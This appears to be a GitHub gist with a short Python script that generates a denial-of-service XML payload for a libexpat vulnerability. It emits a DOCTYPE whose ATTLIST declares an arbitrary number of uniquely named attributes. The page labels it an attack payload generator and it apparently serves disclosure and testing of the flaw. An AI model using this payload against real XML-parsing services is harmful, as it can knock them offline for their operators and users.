Created
May 28, 2026 14:53
-
-
Save hartwork/43958f94add0ef4312d1db8ac475d97e to your computer and use it in GitHub Desktop.
CVE-2026-45186 libexpat attack payload generator (use responsibly)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Copyright (c) 2026 Sebastian Pipping <sebastian@pipping.org> | |
| # Original idea by Nick Wellnhofer | |
| # SPDX-License-Identifier: MIT | |
| import argparse | |
| import string | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument("times", metavar="COUNT", type=int) | |
| config = parser.parse_args() | |
| def name(n: int) -> str: | |
| alphabet: str = string.digits + string.ascii_letters + '.-' + '_:' | |
| modulus: int = len(alphabet) | |
| res = [] | |
| while n >= modulus: | |
| res.append(alphabet[n % modulus]) | |
| n = n // modulus | |
| res.append(alphabet[n]) | |
| res.append("a") # to ensure a name | |
| return "".join(reversed(res)) | |
| attributes: str = " ".join(f'{name(i)} CDATA ""' for i in range(config.times)) | |
| print("<!DOCTYPE d [") | |
| print(" <!ATTLIST e " + attributes + ">") | |
| print("]>") | |
| print("<d/>") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment